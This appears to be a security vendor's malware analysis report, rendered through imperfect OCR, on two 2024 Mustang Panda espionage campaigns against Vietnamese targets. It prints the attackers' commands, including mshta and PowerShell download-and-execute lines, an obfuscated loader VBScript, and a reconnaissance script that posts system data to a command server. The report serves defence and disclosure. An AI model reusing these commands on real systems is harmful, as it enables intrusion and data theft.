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Key Takeaways:

» Cyble Research and Intelligence Labs (CRIL) recently came across a campaign employing Windows shortcut (LNK) files associated with
the Mustang Panda APT group.

« Mustang Panda, with its Chinese affiliation, suggests potential state-sponsored or state-affiliated cyber espionage activities targeting
government organizations, nonprofits, religious institutions, and other NGOs across the U.S., Europe, Mongolia, Myanmar, Pakistan,
Vietnam, and various other regions.

* The two campaigns we analyzed are aimed at Vietnam, using lures related to Tax Compliance and the education sector.

* The campaign employs sophisticated stages, abusing legitimate tools like forfiles.exe to execute malicious HTA files hosted on remote
servers. Additionally, it incorporates PowerShell, VBScript, and batch files to further its operations.

« To evade detection and increase file size, threat actors (TA) have ingeniously embedded partial lure documents within the malicious LNK
files.

e The campaign utilizes rundll32 and DLL sideloading techniques to execute malicious DLLs on victim systems.

Overview

In April 2017, researchers at CrowdStrike Falcon Intelligence identified a previously unattributed TA group targeting a U.S.-based think tank
with ties to China. Further investigation uncovered a broader campaign exhibiting distinctive tactics, techniques, and procedures (TTPs). This
adversary is known for targeting non-governmental organizations (NGOs) extensively.

Mustang Panda, a China-based cyber espionage group first observed in 2017, has likely been operational since at least 2014. This TA has
targeted a diverse range of entities, including government organizations, nonprofits, religious institutions, and other NGOs across the U.S.,
Europe, Mongolia, Myanmar, Pakistan, Vietnam, and other regions. The figure below shows the details of the TA from Cyble Vision Threat
Library.
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https://cyble.com/blog/vietnamese-entities-targeted-by-china-linked-mustang-panda-in-cyber-espionage/
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/
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Figure 1 — Cyble Vision Threat Library

In a campaign conducted in May 2024, Mustang Panda targeted Vietnamese entities with lures related to tax compliance. Based on the
network infrastructure used in the May 2024 campaign, we identified another campaign from April 2024, which used lures to target entities
interested in the education sector.

In both campaigns, the initial infection starts with a spam email with attachments. The attachment contains a malicious LNK file that performs
further malicious activities. The campaigns employ ZIP and RAR files containing malicious Windows shortcut (LNK) files. They utilize a
multifaceted approach involving multiple PowerShell, Mshta, and batch (bat) files. The ultimate payloads are malicious DLL loader files that
execute malicious shellcode, which could further download and execute other malicious files onto the system.
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Figure 2 — Mustang Panda Campaign Overview
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Technical Details

CRIL came across a campaign in May 2024, utilizing a malicious LNK file named “Vanban_8647_cuong_che_thi_hanh_quyet_dinh.pdf.Ink,”
with a SHA256 hash of 47eb43acdd342d3975000f650cf656d9f0f759780d85f16d806d6b9a70f1be46. In addition to our findings, another
researcher identified this campaign and shared it on the X platform.
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https://www.virustotal.com/gui/file/47eb43acdd342d3975000f650cf656d9f0f759780d85f16d806d6b9a70f1be46/community
https://x.com/h2jazi

To evade detection, the TA used a double extension, where the LNK file was masquerading as a PDF document as shown in Figure 3. The
lure document used in this campaign related to tax compliance suggesting that TA is targeting individuals who are involved in financial
activities.
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Figure 3 — Properties of Malicious Link File

TA used partial data from the lure document and appended it to the malicious LNK file to increase its size and evade detection. The figure
below compares the LNK file and the lure document.

Malicoius LNK File Decoy Document

Figure 4 — LNK File Appended with Part of Lure PDF Document

Abusing forfiles

Interestingly, upon execution, the LNK file abused the legitimate Windows executable “forfiles.exe” to start further infection stages. According
to msdn “forfiles Selects and runs a command on a file or set of files. This command is most commonly used in batch files.”

This malicious LNK file initiates the “forfiles™ utility to search for files in the path “C:\Windows\Vss”. If any file is present in the path, “forfiles’
executes a PowerShell command that uses ‘mshta’ to run malicious “Vanban_8647.PDF_update.hta”, which is hosted on a remote server. The

command executed by the link file is as follows:
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https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/forfiles

C:\Windows\System32\forfiles.exe /p C:\Windows\Vss /c “powershell start mshta
hxxp://mega.vivivivl[.]site/Vanban_8647.PDF_update.hta”

The “Vanban_8647.PDF_update.hta” file contains a VBScript. This HTA file includes an obfuscated string element that the VBScript
deobfuscates and executes using wscript. The deobfuscation process involves manipulating characters by taking their ASCII values, XORing
them with 1, and converting them back to the original characters. The figure below shows the content of the “Vanban_8647.PDF_update.hta”
file.

DOCTYPE html>

H<html>

[<head>

<HTA:APPLICATION

SYSMENU = "no"™

BORDER="no"

SHOWINTASKBAR="no"

CAPTION="no"

SINGLEINSTANCE="yes"

WINDOWSTATE="minimize™

<meta name="author" id="authorid" content="gnvdsrIDmM

»onQsNghm

rdydbTUHno

CXgBRR

hdy) ZRxrudl/Udyu/Dobnehofl

TUGY/FduRushof) ZRxrudl/Bnowdsu\

rd75Rushof)

RIWXHBiN [YbuU3Kp [VO1HD4meB4Y [VKEcFmmcoPgMjSwe34xe3GiT25x
VéoJBeneISvNhowcVWoXR43cI[rely3cB4{

YSmMO [iclKicm9S0kP2MmCDShdvb{DoJP<<

H<script type="text/vbscript">

Set nckshfkajsfknfkasdf = CreateObject ("WS"+"er"+"ip"+"t."+"S"+"he"+"1"+"1")
set mostlycloundfortomorrow = document.getElementById("aanthorid")
mostlyclondfortomorrowcontent = mostlyclondfortomorrow.content
dIaNadIaNadIaNadTIaNadIaNadIaNa = ""

For i = 0 To Len(mostlycloundfortomorrowcontent) - 1
dIaNadIaNadIaNadIaNadIaNadIaNa = dIaNadIaNadIaNadIaNadIaNadIaNa
Chr (Asc (Mid (mostlyclondfortomorrowcontent, i + 1, 1)) Xor 1)
Next

nokshfkajsfknfkasdf.ran dlaNadlaNadIaNadIaNadIaNadIaNa, 0, false
self.close

F</script>

</ head>

H<body>

F</body>

F</html>

Figure 5 — Content of the “Vanban_8647.PDF _update.hta” File

After deobfuscating the script, it was revealed that wscript executes a PowerShell command as shown in the below figure.

Figure 6 — PowerShell Command
This Above PowerShell command contains a Base64-encoded string, which decodes to:
IEX (New-Object Net.WebClient).DownloadString(‘hxxp://mega.vivivivi].]site/Vanban_8647.PDF.ps1’)
The decoded PowerShell command shows that it executes a remote PowerShell script “Vanban_8647.PDF.ps1” hosted at:

“hxxp://mega.vivivivi[.]site/Vanban_8647.PDF.ps1”

DLL Sideloading

The “Vanban_8647.PDF.ps1” script downloads and drops three files: the “HP.exe” executable and “HPCustPartUl.dIlI” DLL file are placed in the
“%APPDATA%\HPCustPartic” folder, and the “Vanban_8647.PDF.hta” file is saved in the “C:\Users\Public\” folder. The script then performs
DLL sideloading of the malicious loader file “HPCustPartUl.dIl” using the legitimate “HP.exe” executable. After the DLL sideloading, it executes
the “Vanban_8647.PDF.hta” file.
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The following figure shows the contents of “Vanban_8647.PDF.ps1” script.

Figure 7 — Contents of “Vanban_8647.PDF.ps1” Script

The Figure below shows the “HP.exe” and “HPCustPartUl.dIl” dropped by “Vanban_8647.PDF.ps1” script.
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Figure 8 — Files Dropped for DLL Sideloading

After completing DLL sideloading, the “Vanban_8647.PDF.ps1” script executes the “Vanban_8647.PDF.hta” file, which extracts a lengthy
hexadecimal string from a meta tag within the HTA file. This hexadecimal string is then decoded into its binary form, which is saved as a PDF
file named “Vanban_8647.PDF” in the directory “C:\Users\<user>\AppData\Roaming\MicrosoftCooperation\”. Subsequently, the PDF file is
opened. The figure below shows the contents of the “Vanban_8647.PDF.hta” file.

nt = "255044462d312e350d0a3120302061626a0d30302 f5473T0652024361T461606E6T20506167657320

dim
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Figure 9 — Contents of the “Vanban_8647.PDF.hta” File

The lure document “Vanban_8647.PDF” is in Vietnamese language and uses Tax Compliance related lure. The figure below shows the PDF

document.

Ky béri: Chi cye Thué quin
Nam Tir Libm
Th!:n;ian ky: 19.03.2024
16:3

CUC THUE TP HA NQI H TET NAM

CHI CUC THUE Q. NAM TU LIEM Die ldp - Ty dod Bahfhic
Sé: 8647/QP-CCT Nam Tir Liém, ngay 12 thang 03 nim 2024

QUYET PINH
V2 viée cwdng ché thi hanh quyét dinh hinh chinh thué
biing bién phép trich tidn tir tai khodn ciia d6i twong bi cudng ché

CHI CUC TRUGNG CHI CUC THUE QUAN NAM TU LIEM

Cén cir Ludt Quan Iy thué sé 38/2019/QH14 ngay 13/06/2019 cia Quéc
Hoi;

Céin ci Diéu 31 Nghi dinh 56 126/2020/ND-CP ngay 19 thdng 10 nim 2020
cia Chinh phit quy dinh vé xit Iy vi pham hanh chinh vé thué va cuing ché thi
hanh quyét dinh hanh chinh thué; B

Cén cir Quyét dinh sé 110/QP-BTC ngéy 14/01/2019 ciia Bé Tai Chinh quy
dinh vé chire néing nhiém vy, quyén han vé co cdu té chirc ciia Chi cuc thué trec thuge
Cuc Thué; ‘

Céin cie Diéu 1 Nghi dinh 56 91/2022/ND-CP ngay 30 thang 10 ndm 2022 ciia
Chinh phi stca déi, bé sung mét sé diéu ciia Nghi dinh s6 126/2020/ND-CP ngay 19
thang 10 ném 2020 ciia Chinh phii quy dinh chi tiét mét sé diéu cia Ludt Quan Iy
thué:

Theo dé nghi ctia Déi trieong i Qudn Iy ng va cudng ché ng thué;

QUYET PINH:

Pidu 1. Cudng ché bing bién phap trich tién tir tai khoan dbi voi:
- A Aot Efan: DR

Figure 10 — The Lure PDF Document with Tax Compliance-Related Lure

Loader DLL

The side-loaded DLL acts as a Loader in this campaign. Upon execution, the loader DLL creates a mutex named “90ace125-2ec6-4e55-ac63-
a4e97820094eA” to ensure that only one instance of the malware runs at a time. The figure below shows the routine for the mutex creation.

€8 C2BC0000 CAEL hocusTRartul.T1E6ENRD
556 MOV [5D,EA)
€8 TH020000 CALL hocusTRArtul. 1062880
8 H PUSH NBEUSTORrTUT . 7 1E8A0CH 1ERAK ase -
&4 01 PUSH 1
[ PusH
FFOG CARL EsT
B5CO TEST EAX,EAX
- 74 JE_hpcustpartuf.71E62751
FFi5 ECBEESTY CAL CwoRD PTR 05: [<6GETLASTErrors]
I 87000000 P Ed, B
- 75 13 INE hpcustpartul.TIEGITEA
BB4E ES WOV EAR,DRORD 1BEEP- 18] [ebp-18]:8"" 4
GATA3 DOODODOD wov owcAo PTR I (0] ,EAx [ 00T 1 47 DOW
1c0 NOR EAX,EAX
8364 18 B0 ESP
SE POP E5T
1062 5F PP o
1063761 5B POF EOX
TIEG2TEI! o Iror Eam |
1E62763 €3 RET

Figure 11 — Routine for the Mutex Creation

After creating the mutex, the DLL establishes persistence by creating a RUN entry for the “HP.exe” file, previously downloaded and saved in

the %appdata% directory, as shown below.

Computer HKEY_CURRENT_USER\SOFTWARE\Mi Nindows\CurrentVersion\Run
CloudStore A || Name Type Data
ContentDeliveryManager s5{iDefautt | REG SZ fvalue nat set)
Controls Folder (Wowb4) L - B R kT
c e S = PR ]
o s S\ HPCustParticUl  REG_SZ CA\Users\ i s A pp Dt Roaming| HPCustPartic\HP exe
9 b MicrosoftEdged... REG_ST “C:\Program Files ! ft\Edgeap dg - --mio-startup: o
Explorer

Fut
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Figure 12 — RUN Entry for HP.exe

Subsequently, it downloads an encrypted file named “tempdata.dat” from “payment.tripadviso.online” and loads it into memory for further
execution. The figure below shows the network communication to download the encrypted file.

GET /tempdata.dat HTTP/1.1

Host: payment.tripadviso.online:88

User-Agent: Mozilla/5.@ (Windows NT 18.@; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/122.6.8.0 Safari/537.36

Cache-Control: no-cache

Connection: close

HTTP/1.1 200 OK

Date: Fri, 31 May 2024 @7:94:52 GMT
Content-Type: application/octet-stream
Content-Length: 173856

Connection: close

Last-Modified: Mon, 22 Apr 2624 82:59:13 GMT
ETag: "6625d281-2a40@"

Accept-Ranges: bytes

CF-Cache-Status: DYNAMIC

Figure 13 — Network Communication

After this, the loader DLL decrypts the .dat file, which creates an executable in the memory with an export function named “start,” but without a
PE header, as shown below.

"
-

01200000 N 00 78 00|01 00 00 00|04 00 00|00 00 00 00
01200010 00 00 00|00 00 00 00|40 00 00|00 00 00 00| .
01200020 00 00 00|00 00 00 00|00 00 00|00 00 00 00| .
01200030 00 00 00|00 00O 00 00|00 00 00|78 00 00 00 .
01200040 1F BA OE |00 B4 09 CD |21 01 4C|CD 21 00 0O
01200050 00 00 00|00 00 00 00|00 00 00|00 00 00 00| .
01200060 00 00 00|00 00 00 00|00 00|00 00 0D 00| .

06 00 .

02

00

=]
-
§
g
-]
8938$84822728¢
g
g
8
g
(=}
g
g
8

o

2

8

B

3

2

@
=]
g
g

2222332824883 82308888

8838182888388 8R8R888888
=]
g

L]
L]
O12D00A0 E3X 00 00|00 00 00|00 00|00 00 20 01
01200080 10 00 00|00 00 00|06 00|00 00 o0
01200000 00 00 00|00 00|00 04 00
01200000 00 00 00|02 40 01|00 00|00 10 00
012D00ED 00 10 00|00 00 00|00 00|10 00 00| .
012000F0 | 34 7D 02 00|5E 00 00|92 00|28 00 o0
01200100 | 00 CO 02 00 |ES 00 00|00 00|00 00 00| .
01200110( 00 00 00 00|00 00 00|00 20/D0 13 00
01200120(28 7C 02 00|1C 00 00|00 o0
01200130( 00 00 00 00|00 00 00|00 00|00 00 o0
01200140|FO 1B 02 00|CO 00 00|00 00|00 00 00
01200150 (CC FE 02 00|10 00 00|00 00|00 00 00
01200160 (00 00 00 00 00 00|00 00|00 00 o0
00| .
00| .
00| .
00| .

8

2

8

8
88888828888R288888853088R888888588R8A8

g

8

o0

00

00

i

o0

00

00

o0

o0

00

00

o0

o0
01200180| 00 FC 01 00|00 00 00|00 00|00 00 00
012001%0| 00 00 00 00|20 00 60 |2E 72 61|74 61 00
012D01A0(OC 7F 00 00|00 02 00|00 80 00|00 00 02
01200180 00 00 00|40 00 00 40| .
012D01CO| 2E 64 61 74|61 00 00|64 14 00|00 90 02 00| .
01200100| 00 OC 00 00|00 02 00|00 00 00|00 00 00 00
012001E0( 00 00 00 00|40 00 CO|2E 30 30 63|66 &7 00D 00| .
012001F0| 08 00 00 00|00 02 00|00 02 00 00|00 8C 02 00|,
01200200 00 00 00 00|00 00 00|00 00 00 00|40 00 00 40| .
012002 2E 72 73 72|63 00 00|ES OO0 00 00|00 CO 02 00 .
01200220| 00 02 00 00|00 02 00|00 OO0 00 00|00 00 0D 0O .
01200230| 00 00 00 00|40 00 40|2E T2 65 &F 63 00 00| .
1200240|00 13 00 00|00 02 00|00 14 00 00|00 90 02 0O
01200250| 00 00 00 00|00 00 00|00 00 00 00|40 00 00 42|.
0120021 00 00 00 00|00 00 00|00 OO0 00 00|00 00 0D 0O .
01200270| 00 00 00 00|00 00 00|00 00 00 00|00 00 00 00|.
01200280| 00 00 00 00|00 00 00|00 OO 00 00|00 00 00 0O .
01200290| 00 00 00 00|00 00 00|00 00 00 00|00 00 00 0O .
012002A0| 00 00 00 00|00 00 00|00 00 00 00|00 00 00 00| .
01200280| 00 00 00 00|00 00 00|00 00 00 00|00 00 00 00|.
012002C0| 00 00 00 00|00 00 00|00 00 00 00|00 00 00 0O .
01200200| 00 00 00 00|00 00 00|00 00 00 00|00 00 00 OO

Figure 14 — Decrypted Executable without PE header

The malicious DLL then transfers control to a function in the newly generated PE file using the “CALL EAX()” instruction. This function acts as
a shellcode responsible for connecting to a C&C server to carry out further malicious activities. The figure below shows the routine for calling
ShellCode.
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LAlLRAL e Co MCA LAY SesD ’
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Shelicode

Call to LAX

88 €< 70 OC 0L 75|08 €8 15 00 3 ial

10 FF 7§ FF 75 08 E8/D9 FE FF FF 83 C4 OC SO .yu.yu.elbyy.A.'
01206389 C2 OC 00 88/00 OC 91 2F |01 56 57 BF 4E €6 40 BB A....../ . Ve Ned
0120€3CH u_m_a_ﬁ FF 38 CF 74|04 S CE 75126 €8 2C 00X, .yy:It..2use,
0120€309| 00 00 38 CF 75 07|89 4F €6 40/88 €8 OF 85 ... Tu. 'Ondse. .
0120€3€9/CE 7S OA QD11 47 00 00/C1 €0 10 08/C8 89 © OC|2u...G..Ad..8L..
O120€3F9 91 2F OL F7 01 5F 89 0O SEC3 35S 88)./.°R...../.NW,
01206409 EC 83 EC 14 83 65 F4 00 45 F4 65 F8 00 50/Y.Y..80..60.¢0.1
01206419 FF 15 5S4 7F 2F O1 88 45 F8 33 45 F4 89 45 FC FF y.r./..unb.loi
01206429/ 18 20 7F 2F |01 31 45 FC|FF 38 1C 7F|2F 01 31 45/, .{.uoy...x.z
0120€439 FC 8D 45 EC SO FF 15 94|7F 2F 01 8845 FO 80 4 U.E r{‘.../..to.t
O120€449 FC 33 45 EC 33 45 FC 33/C1C9<C3 68 H_ﬁ_m USEYIEUSARAN, ./,
O120E459 FF 15 6 "F 2F 01 C3 68 H [} 00|y.)./.An,./. 80,
01206469 00 59 C3 €8 9F BS FF FF 48 04 08 24 89 48| .YAR.uyy.H...5.1
01206479 04 €8 OA 00/00 00 88 45/04 83 08 0289 48 04 C3| . 8..... M. vu.u M,
01206489 88 90 90 2F /01 C3 88 98/90 2F 0L C3/53 56 8€ 8C| .../.A ../ AW
012D0E499 84 2F 01 88 38 F3 73 19/57 88 3€ 85|./.9%./.:05.%.>,
O120€4A9 FF 74 OA 88 H‘H 80 2F OL FFID” 83 C6 04 yT..1y.. " /.yx.A,
01206489 38 F3 72 €9/5F SE 58 C3/53 56 BE C4/84 2F 01 B8 ;«LA(AMJ._/.:
0120€4C9 W 38 F3 73 19|57 88 3C 85 FF 74 OA 8B A./.;0s5.W.>.¥t.,
0120£409 15 00/80 2F OL FFID” 83 C6 0438 F3 72 €9/ 1y.." /. .yx.A.;6r
O120€4E9 5F SE 58 C3/55 88 EC S3/EC 14 88 45 08 53 57 88| _A[AV. Y. V.. E.5W,
0120€4F9 70 OC 88 20/05 93 19 89|45 FO 85 FF|74 20 F6 07 J.» ....ED.yt=0,
0120€509|10 74 1€ $8/08 83 €9 04|45 L1 480088 70 20 88),T....&.\Q...P .

Figure 15 — The Routine to Call ShellCode

Shellcode Analysis

Numerous encrypted strings are present within the shellcode, each decrypted using a single-byte XOR key. The figure below shows the
encrypted strings in the shellcode.
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Figure 16 — Encrypted Strings in the Shellcode

In our case, the strings are encrypted using key 0x9. The loop decrypts the string used to create a mutex name, as depicted below.

-~ EB

> BIFB FIDMBCHS
¥

s om Eaar

. B8 SEBIFEOE

o oFacos

.- E3 TCFFFFFE

1|> so0e7 1Fsoazoo os

BB 7AI332FB

1F: "071 111 >08=1<; $=100510<h§ 810tk ; 1

E3 GBFFFFFF
68 00D0AZOO
€8 313C0100
ADO ESP, 4
P EDT,Edx

MOV EBX,E 3402338

.oy
. BB 3BIONOEZ

Figure 17 — Decryption Loop

Upon decrypting the required strings, the shellcode now loads “kernel32.dIlI” and locates the address of the “CreateMutexA()” function using
the “GetProcAddress()” APl. Subsequently, it creates a mutex named “f6e88e7-4852-4e9f-8f5a-1895ad4b228d” as shown below.

TITEITD cutrnelIE.Createeutents
B £

aner1nz
00000000

1| eSGeTLASEEFPEeS]

Figure 18 — Creating Mutex

Following this, the shellcode invokes the “GetAdaptersinfo()” API to retrieve the MAC address of the system. It then encrypts the Victim’s MAC
address information using the RC4 algorithm, encodes the resultant data in base64 format, and transmits it back to the C&C server located at
“back.vivlvivl.site”. The below figure shows the RC4 encryption algorithm used in the shellcode.

00ADSDES ES8 B33F0000 CALL <sub_Al3DAD>

00AD9DED 83C4 04 ADD ESP,4

00ADSDFO 8aC7 MOV EDI,EAX

00DADSDF2 EB4424 18 MOV EAX,DWORD PTR S5:|[[ESP+15]
00DADSDFE E9 BSFCFFFF JMP ADSABD

00DADSDFE EBO424 MOV EAX,DWORD PTR 55:[[ESP]
ODADSDFE OFBB0425 MOVZX EAX,BYTE PTR DS:[EAX+EBF]
00ADIEDZ SBECZ4 44010000 MOV ECX,DWORD PTR 55;[HESP+144[]
Q0ADIEDD 320429 XOR AL,BYTE PTR D5: [ECX+EBF]
00ADIEDC 8BBCZ4 48010000 MOV ECX,DWORD PTR S5:|[JESP+145]
O0ADIELS 880429 MOV BYTE PTR DS:[ECX+EBP],AL
00DAD9IELG B8 OCD5AF99 MOV EAX, 99AFD50C

00ADIELB E9 90FCFFFF JMP AD9ABO

O0ADIEZD 8BO424 MOV EAX,DWORD PTR_55:[[ESP]
O0ADDEZZ 894424 14 MOV DWORD PTR S5:|[[ESP+14]),EAX
ODADDEZT B37C24 14 00 CMP DWORD PTR S5:[[ESP+14][,0
0DADDE2C B8 &07D2DDE MOV EAX,DBE2D7D&0D

ODADIE3ZL E9 C1EBED92 MOV ECX,92EDEECL

ODADIE3G OF44C1 CMOVE EAX,ECX

O0ADIE3SD E9 72FCFFFF JMP AD3ABD

OOADIESE 3D AS4C2ECTY CMP EAX,CI2E4CAS

00ADIE4S OF85 6&7FCFFFF JNE AD9ABO

00ADIE4LD 8BB8CZ4 2C010000 MOV ECX,DWORD PTR sSS:|JESP+12C[]
NNANSFEN 2M1F1 XOR FCX.FSP

Figure 19 — RC4 Encryption

The below figure shows the decrypted strings present in the shellcode.
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3 Winfe: =04} AppleWabRin/537.30 |mEnE, like Chisma /2.0, 2330, 105 Safari/517.06 Edge/12.246

Figure 20 — Decrypted Strings

The figure below shows the complete process tree for the Mustang Panda campaign.

=5 W forfles e (T264) Forfles - Exscute... C\Windows\Syat... | 10 \Windows' Systeen 32 forfles exe™ /p €10 /& "powershel start mahta hitp://mega vivhivl ste/Vankan_B547 POF update Ha
5 conhost exe (3004) Conscle Window . C:\Windows'syst. | 1DAPPC Windows aystem32\conhost exe (ud
M powershell sxs (7824) Windaws PowerS... C\Windows\Syat... | iClstan mshta bisp-//maga. viviviv ste/Varkan_8547 PDF_update hta
= it exe (2084) Microsoft (R HTM... C\Windows'ayst l. I'D G Winadowes 'ystem X2 mabta axe ™ hitp.//maga vivivivl ste/Vanban_BE47 POF_update ea
= BN powershell exe (42800 | Windows PowerS... C\Windows\Syst 107C: W 1.0'powershel exe™ noPrOfl execUiTion BYpASS comMaid kexSystem Text Encoding] :
[ Conhost exe (1720)  |Conmole Window . C\Windows'\Syst .. . roaTnCs, m‘mmﬂ?mxm e -Forcel
S [Smahtamce (53400 | Micreaokt (F) HTM... C:\Windows' Sy , 107 WWinsdows' Sys WO WG S vmaita see™ T2\ Umm:hc Varban_8647 PDF Fta™ [1E%DBD?F!C;-.BaEssBFaEWW&HIEdmo.
() maedge exe (7B2E) [Microsoft Edge  C/\Program Files | 10.°C:\Program Fles (x86] oft\ Edge' " —single-argument C:\Users" B i App Date' Foaming \Microscft i
- HEF e (524) HPCustPatcll  Colsen\MaiWor.. [N O "C\Users Sl b " AppDiata Floamig \HPCus Patic HP axs”

Figure 21 — Process Tree for Mustang Panda Campaign

We observed another campaign in April 2024 that communicated with the same C&C server as the aforementioned campaign, indicating its
ongoing activity since then. This campaign involved a zip file named “huongdan memay.zip,” which contained an LNK file named
“huongdan_dangky_phuluc_so_2.docx.Ink.” This LNK file also employed a double extension, masquerading as a Word document.

% huongdan_dangky_phuluc_so_2.docx Properties X
Colours Teminal Security Details Previous Versions
General Shortcut Options Font Layout

@ huongdan_dangky_phuluc_so_2.docx

Target type: Application

Target location: v1.0

Target:

Start in: | |

Shorteut key: | None |

Run: Nomal window ~
Comment: |PDF |
Open File Location Change lcon... Advanced...

o | [

Figure 22 — Malicious LNK File

In this campaign, TA utilized a similar defense evasion strategy seen in previous campaigns, incorporating segments of the lure document
directly into the LNK file. However, TA implemented a different approach to deploying and accessing the lure documents. In the previous
campaign, the LNK file employed a multi-staged method to download and open the lure PDF document. In contrast, in this campaign, the LNK
file directly downloads and opens the lure Word document.
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Upon opening the malicious shortcut file, it executes two operations. Firstly, it downloads a legitimate document file named
“huongdan_en.docx” from a remote server, saves it to the “C:\Users\Public\” folder, and then opens it. Secondly, it downloads a PowerShell
script named “init.txt” and executes it. The command executed by the LNK file is shown below.

"C:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe™ -w hidden -¢ *

&("{1H{O}" -f "EX','I') (("{1M{O}{2}{3}" -f 'w-Object 3y",

' (He', 'stem.Net.We', "'bClient) .downloadFile (' "hxxp://vibm[.]vn/huongdan_en.docx'', *'C:\users\publichitest'’)"));
move 'C:i\Users\Public\test' 'C:\Users\Public\huongdan en.docx':

start 'C:\Users\Public\huongdan en.docx';

E(Y{LH{O0}" =f VEX', I} ((*{13{03{23{3}" -f ‘w-Object 5y*,

* (He®, "stem.Net.We', "bClient) .downloadString (" 'hxxp://wibm([.]vn/init.ext* ') ")) | &(*{11{0}" -£ *EX','I")"

Figure 23 — PowerShell Command

The TA targets Vietnamese individuals, specifically those interested in or associated with the education sector. The figure below shows the lure

Word document.

REGAL EDU

CHUONG TRINH i
TIENG ANH 6-11TUOI

CREATOR ENGLISH FOR 6-11 YEARS OLD
CUNG CON TU BINH HUONG TUONG LAI

Figure 24 — Lure Document Related to English Course for kids

The “init.txt” PowerShell script further downloads two additional files: “newrun.ps1” and “newrun.jpg”. The “newrun.jpg” file is then copied into
the startup folder under the name “Updater.bat”. The figure below shows the content of the “init.txt” file.

£("{1}{0}* =£ *X*,"IE') ((New-Object System.Net.WebClient).DownloadString(*hutpi//megacvhernews.Com/newrun.oal®));copy
%4111.%0.151.233\ share\nevwran.3ipg "C:\Users\fenv:USERNAME\Start Menu\Programs\Startup\Updater.bat®

Figure 25 — Content of the “init.txt”

The “Updater.bat” file downloads two PowerShell scripts from “hxxp://megacybernews[.Jcom” named “getdata.ps1” and “stage2.5.ps1” and
executes them. The figure below shows the content of the Updated.bat.

2ECHO OFF
powershell -ep bypass -w hidden -nop "IEX ((New-Cbject Net.WebClient).downloadString('hitp://megacviberpnews,cog
m_mw {(Hew-Cbject Net.WebClient).downloadString(*huspi//megacvbernews,com/staged.2.pal'h)"

Figure 26 — Content of “Updater.bat” File
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The PowerShell script, “getdata.ps1”, is designed to exfiltrate critical system information using the following commands.

o System Information: systeminfo

Adaptor Information: ipconfig

Network Information: netstat

Network Information: netview

Task List: tasklist

o User Account Information: whoami

o Username: net user $env:username /domain

o Domain Admins: net group “domain admins” /domain

Desktop Information: Get-Childltem ([environment]::getfolderpath(“desktop™))
Antivirus Prodects: (Get-WmiObject -Namespace “root\SecurityCenter2” -Query “SELECT * FROM
AntiVirusProduct”).displayName

After capturing the data, the script sends it to hxxp://megacybernews[.Jcom/checkin.php using the POST method.

The figure below shows the contents of the “getdata.ps1” script.

if ((({(Ger-Wmilbject Win32 ComputerSystem).parcofdomain) -eq §False ) -:-\:u- { -not SEnv:USERDNSDOMAIN) )
i
SCLS4QIRE = "DOMAIN: MO 'n n®
} else | SCLI4QIKE = AIN E "}

SCLSAQERE 4= "SYSTE: * + ((systeminfo) -join "'n%)
SCLS4QIKE 4= " PCONFIG = 4 ((ipconfig fall) -joim "'n")
SCLSAGIRE 4= " n nNETSTAT " # {{netstat =-f) =joim "'n")
SCLS4QIRE 4= " ETVIEW " &+ ((net wview) -join )

SCLO4QIFE 4= " : :°n°n" + ((tasklist) -jeim "'n")
SCLS4QLRE 4= " n nWHOAMI 4+ {(whoami) -join " ]

SCLOMQIFE += " r §enviusername fdomain) -join
SCLS4QEIRE 4= " ¢ 1 " Jdomai 8]
SCLS4QIKE 4= ~ m ([environment]::getfoldexr B Tt 1

SCLS4QIRE 4= “ 1 ¢
displayName
SYerMywer = [System.Text.Enceding)::UTF2.GetBytes (§C154QfRE)

S$EncYar =[Convert)::ToBasséd4String(SYarMywar)

SUy2NFs = ° k - f o

SpO0stPdrdm = @ {pass=5U0y2NFs data=$EncYer)

iwr -Uzi hesp://megacvbeznews. com/checkin.php -Method POST -Body SplstPirdm

t -Namespace *

Figure 27 — Content of the “getdata.ps1”

The second PowerShell script, “stage2.2.ps1”, is obtained and executed by the “Updater.bat” file. This script is responsible for downloading
three files — “book.dIl”, “unikey.exe”, and “wwlib.dll” — from the domain “hxxp://megacybernews|.Jcom/”. Both DLLs acts as a loader and
conduct similar operations, with the distinction lying in their execution methods: “book.dll” is executed using rundll32, while “wwlib.dll” is
sideloaded by “unikey.exe”, which is a legitimate executable renamed from “WinWord.exe”. The figure below shows the contents of the
“stage2.2.ps1” file.

.WebClient).DownloadFile(’ i il k I+ - ¥ )
ic\Downloads\book.dll, Stazt

JMebClient) .DownloadFile ('Lot L X x=t . et
«NWebClient) .DownloadFile(’ i LT 'y

Figure 28 — Content of the “Stage2.2.ps1”

In both campaigns, the DLL loader retrieves an encrypted DAT file from a remote server, loads a shellcode, and connects to a C&C server to
carry out further malicious activities.

C&C Communication

During our analysis, the Command and Control (C&C) server remained inactive, preventing us from observing any further responses. The TAs
behind this Mustang Panda are known to send the next stage of shellcode, which could potentially load the PlugX RAT. PlugX, a Remote
Access Trojan (RAT) malware variant active since 2008, is a powerful backdoor that grants full control over the victim’s machine. Once the
system is infected, attackers can remotely execute various commands on the compromised system.

Conclusion

The Mustang Panda campaigns underscore a sophisticated and evolving threat landscape, employing advanced techniques such as
spearphishing, DLL sideloading, and PowerShell scripting to infiltrate and maintain persistence within targeted systems. Notably, Mustang
Panda utilized the legitimate forfiles utility to execute malicious HTA files. TA embedded a partial part of lure documents in the LNK files in both
campaigns to evade detection. The inclusion of tax compliance and educational themes in the lure document suggests that the attackers are
targeting entities or individuals involved in financial and educational activities, seeking to exploit their interest or involvement in tax and
education-related matters.
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Our Recommendations

» This campaign reaches users via potential phishing campaigns, so exercise extreme caution when handling email attachments and
external links. Always verify the legitimacy of the sender and links before opening them.
« The campaign abused the legitimate forfiles utility; hence, it is advised to monitor the activities conducted by the forfiles utility.

as integral components of their malware execution methodology.
« Implement application whitelisting to restrict rundl32.exe execution to authorized processes and paths, reducing the risk of malware
launching LNK files through this method.
« Deploy robust antivirus and anti-malware solutions to detect and eliminate malicious executable files.
« Enhance system security by using strong, unique passwords for each account and enabling two-factor authentication whenever

possible.

Vigilantly monitor script execution originating from suspicious directory locations, as cyber attackers frequently leverage malicious scripts

« Implement network-level monitoring to detect unusual activities or data exfiltration by malware. Block suspicious actions to prevent

potential breaches.

« Regularly back up data to ensure recovery in case of infection and keep users informed about the latest phishing and social engineering
techniques used by cybercriminals.

MITRE ATT&CK® Techniques

Tactics

Techniques

Procedure

Execution (TA0002)

Command and Scripting Interpreter (T1059)

